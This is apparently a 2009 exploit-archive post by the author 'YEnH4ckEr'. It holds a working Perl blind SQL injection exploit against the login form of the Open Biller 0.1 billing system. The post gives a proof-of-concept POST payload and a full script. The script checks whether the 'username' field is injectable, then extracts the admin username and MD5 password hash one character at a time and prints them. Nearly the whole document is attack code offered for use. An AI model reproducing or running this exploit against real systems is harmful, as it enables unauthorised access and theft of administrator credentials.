Open Biller 0.1 (username) Blind SQL Injection Exploit

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Open Biller 0.1 (username) Blind SQL Injection Exploit

来源：y3nh4ck3r[at]gmail[dot]com 作者：YEnH4ckEr 发布时间：2009-06-11

#!/usr/bin/perl
#***********************************************************************************************
#***********************************************************************************************
#**                        **
#**                  **
#**     [] [] [] [][][][> []     [] [][ ][]     []   [][]] [] [> [][][][> [][][][]    **
#**     || || || []        [][]   []   [] []     []   []      [] []   []   []    []    **
#   [> [][][][] [][][][> [] [] []   [] []   [][] []       [][]    [][][][> []    []    **
#** [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\
#**==[>    []     []        []   [][]   [] [] [][][] []       [][]    []           [] [] >>--
#** [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/
#   [>   [[[]]]   [][][][> [][]   [] [][[] [[]] [][] [][][] [] [> [][][][> <][]   []
#**                                             **
#**                     **
#**                          ¡VIVA SPAIN!...¡GANAREMOS EL MUNDIAL!...o.O                      **
#**       ¡PROUD TO BE SPANISH!                               **
#**                 **
#***********************************************************************************************
#***********************************************************************************************
#
#---------------------------------------------------------------------------------------------
#|               (Post Form login var 'username') BLIND SQLi exploit               |
#|-------------------------------------------------------------------------------------------|
#|                                    |    Open Biller 0.1    |                    |
#| CMS INFORMATION:                 ------------------------                              |
#|                       |
#|-->WEB: http://sourceforge.net/projects/geekbill/                 |
#|-->DOWNLOAD: http://sourceforge.net/projects/geekbill/                       |
#|-->DEMO: N/A               |
#|-->CATEGORY: CMS / Portal             |
#|-->DESCRIPTION: Open Biller aims to to be a the best open source billing                   |
#|  system on the planet.The system is written in PHP/MYSQL...                   |
#|-->RELEASED: 2009-05-31             |
#|                |
#| CMS VULNERABILITY:              |
#|                |
#|-->TESTED ON: firefox 3                           |
#|-->DORK: N/A                      |
#|-->CATEGORY: BLIND SQLi exploit                   |
#|-->AFFECT VERSION: CURRENT              |
#|-->Discovered Bug date: 2009-06-09            |
#|-->Reported Bug date: 2009-06-09            |
#|-->Fixed bug date: N/A             |
#|-->Info patch: N/A              |
#|-->Author: YEnH4ckEr              |
#|-->mail: y3nh4ck3r[at]gmail[dot]com            |
#|-->WEB/BLOG: N/A              |
#|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.      |
#|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)       |
#---------------------------------------------------------------------------------------------
#
#------------
#CONDITIONS:
#------------
#
#magic quotes=OFF
#
#---------------------------------------
#PROOF OF CONCEPT (SQL INJECTION):
#---------------------------------------
#
#POST http://[HOST]/[PATH]/index.php HTTP/1.1
#Host: [HOST]
#User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10
#Referer: http://[HOST]/[PATH]/
#
#username=%27+or+1%3D0%23&pass=1111&submit=Login
#
#username=%27+or+1%3D0%23&pass=1111&submit=Login
#
##############################################################################
##############################################################################
##**************************************************************************##
## SPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!         ##
##**************************************************************************##
##--------------------------------------------------------------------------##
##**************************************************************************##
## GREETZ TO: JosS, Ulises2k, J.McCray, Evil1 and Spanish Hack3Rs community!##
##**************************************************************************##
##############################################################################
##############################################################################
#
#
use LWP::UserAgent;
use HTTP::Request;
#Subroutines
sub lw
{
my $SO = $^O;
my $linux = "";
if (index(lc($SO),"win")!=-1){
  $linux="0";
}else{
  $linux="1";
}
if($linux){
  system("clear");
}
else{
  system("cls");
  system ("title Open Biller 0.1 Blind SQL Injection Exploit");
  system ("color 04");
}
}
sub request {
my $userag = LWP::UserAgent->new;
$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$request = HTTP::Request -> new(POST => $_[0]);
$request->referer($_[0]);
$request->content_type('application/x-www-form-urlencoded');
$request->content($_[1]);
my $outcode= $userag->request($request)->as_string;
#print $outcode; #--> Active this line for debugger mode
#print $request->as_string; #--> Active this line for debugger mode
return $outcode;
}
sub error {
print "\t------------------------------------------------------------\n";
print "\tWeb isn't vulnerable!\n\n";
print "\t--->Maybe:\n\n";
print "\t\t1.-Patched.\n";
print "\t\t2.-Bad path or host.\n";
print "\t\t5.-Magic quotes ON'.\n";
print "\t\tEXPLOIT FAILED!\n";
print "\t------------------------------------------------------------\n";
}
sub testedblindsql {
print "\t-----------------------------------------------------------------\n";
print "\tWEB MAYBE BE VULNERABLE!\n\n";
print "\tTested Blind SQL Injection.\n";
print "\tStarting exploit...\n";
print "\t-----------------------------------------------------------------\n\n";
}
sub helper {
print "\n\t[!!!] Open Biller 0.1 Blind SQL Injection Exploit\n";
print "\t[!!!] USAGE MODE: [!!!]\n";
print "\t[!!!] perl $0 [HOST] [PATH]\n";
print "\t[!!!] [HOST]: Web.\n";
print "\t[!!!] [PATH]: Home Path.\n";
print "\t[!!!] Example: perl $0 'www.example.com' 'demo'\n";
}
sub brute_length{
#Username length
$exit=0;
$i=0;
while($exit==0){
my $blindsql="username='+OR+1=1+AND+(SELECT+length(username)+FROM+users+WHERE+ID=1)=".$i++."#&pass=1111&submit=Login"; #injected code
$output=&request($_[0],$blindsql);
if($output =~ (/Incorrect password, please try again./)){
  $exit=1;
}else{
  $exit=0;
}
#This is the max length of username
if($i>60){
&error;
exit(1);
}
}
#Save column length
$length=$i-1;
print "\t<<<<<--------------------------------------------------------->>>>>\n";
print "\tLength catched!\n";
print "\tLength Username --> ".$length."\n";
print "\tWait several minutes...\n";
print "\t<<<<<--------------------------------------------------------->>>>>\n\n";
return $length;
}
sub exploiting {
#Bruteforcing values
$values="";
$k=1;
$z=45;
while(($k<=$_[1]) && ($z<=126)){
  my $blindsql="username='+OR+1=1+AND+ascii(substring((SELECT+".$_[2]."+FROM+users+WHERE+ID=1),".$k.",1))=".$z."#&pass=1111&submit=Login";
  $output=&request($_[0],$blindsql);
  if($output =~ (/Incorrect password, please try again./))
  {
   $values=$values.chr($z);
   $k++;
   $z=45;
  }
#new char
$z++;
}
return $values;
}
#Main
&lw;
print "\t#######################################################\n\n";
print "\t#######################################################\n\n";
print "\t##   Open Biller 0.1 Blind SQL Injection Exploit     ##\n\n";
print "\t##           Blind SQL Injection Exploit             ##\n\n";
print "\t##       ++Conditions: magic_quotes=OFF              ##\n\n";
print "\t##               Author: Y3nh4ck3r                   ##\n\n";
print "\t##      Contact:y3nh4ck3r[at]gmail[dot]com           ##\n\n";
print "\t##            Proud to be Spanish!                   ##\n\n";
print "\t#######################################################\n\n";
print "\t#######################################################\n\n";
#Init variables
my $host=$ARGV[0];
my $path=$ARGV[1];
$numArgs = $#ARGV + 1;
if($numArgs<=1)
{
  &helper;
  exit(1);
}
#Build uri
my $finalhost="http://".$host."/".$path."/index.php";
$finalrequest = $finalhost;
#Testing blind sql injection and magic_quotes (any error?)
$send_post1="username=%27+or+1%3D1%23&pass=1111&submit=Login";
$output1=&request($finalrequest,$send_post1);
$send_post2="username=%27+or+1%3D0%23&pass=1111&submit=Login";
$output2=&request($finalrequest,$send_post2);
if ($output1 eq $output2)
{
#Not injectable
&error;
exit(1);
}else{
#blind sql injection is available
&testedblindsql;
}
#Bruteforcing length
$length_user=&brute_length($finalrequest);
#Bruteforcing username...
$user=&exploiting($finalrequest,$length_user,'username');
#Bruteforcing password md5 hash...
$pwhash=&exploiting($finalrequest,32,'password');
#final checking
if((!$user) || (!$pwhash)){
&error;
exit(1);
}
print "\n\t\t*************************************************\n";
print "\t\t********* EXPLOIT EXECUTED SUCCESSFULLY ********\n";
print "\t\t*************************************************\n\n";
print "\t\tAdmin-username: ".$user."\n";
print "\t\tAdmin-password: ".$pwhash."\n\n";
print "\n\t\t<<----------------------FINISH!-------------------->>\n\n";
print "\t\t<<---------------Thanks to: y3nh4ck3r-------------->>\n\n";
print "\t\t<<------------------------EOF---------------------->>\n\n";
exit(1);
#Ok...all job done

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